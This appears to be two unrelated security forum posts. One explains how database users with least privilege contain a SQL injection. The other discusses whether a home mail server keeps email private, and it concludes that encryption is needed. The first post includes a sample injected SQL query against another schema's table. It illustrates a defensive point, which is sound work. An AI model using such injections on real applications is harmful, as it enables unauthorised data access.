ApplicationA uses DataBaseUserA which has the privileges to Read/Insert/Update/Delete TableA in SchemaA.
ApplicationB uses DataBaseUserB which has the privileges to Read TableB in SchemaB.
Of course you also got at least one DBA account.

Now consider ApplicationB is vulnerable to SQL-injection:

select * from SchemaA.TableA gets injected and executed by DataBaseUserB.
The DataBase response would be ORA-00942: table or view does not exist

At most use-cases i would consider this behaviour to be secure enought. Of course a completey different DataBase-instance would add another layer of security in case of some unknown security critical issue in Oracle DB.


Email security and Home Mail Servers Suppose you're truly paranoid (I assume the majority here identify with this?) and you don't want Google or other email service providers reading your email (to serve ads, etc).  You don't want your ISP making backups of your messages (even with good intentions) because when you delete an email, you want it to be deleted.

One solution is to use encryption, but how many of your correspondents are sophisticated enough to use email encryption?  Does Mom send you encrypted email?  Probably not.

My solution is to run my own box, in my home, with a mail server that I control.  Of course, the (plaintext) message could still be getting backed up somewhere: perhaps your ISP logs every packet?  Or the NSA is spying on citizens again?

Question:  Is my solution (home mail server) the best for my goal?  Is there something better?

It's not paranoia if you've conducted a proper analysis and have identified a likelihood that they are out to get you in excess of your acceptable risk threshold.

Running your own server is a fairly reasonable control for the risk that the admin of your mail server reads your mail or is subpoenaed for their backups. You must weigh it against the cost and the risk that you introduce new vulnerabilities.

For example, Google is certainly going to have better high availability solutions available to them than you do. They have better paid mail admins and security officers and pen testers. The physical security at their data centres is better.

Also, even if you remove this vulnerability, there are many, many others you haven't addressed and may not be able to. You've already identified the fact that non-encrypted emails can easily be read in transit. One you've missed (and everyone misses this one) is that it doesn't matter how secure your end of a mail communication is if the other end is insecure. If you send a mail to my gmail account, it's going to get stored on gmail's servers whatever you do.

In short, unless you use application level encryption, general email is inherently insecure; you should accept that and if you have sensitive material to send, encrypt it or don't use email for it.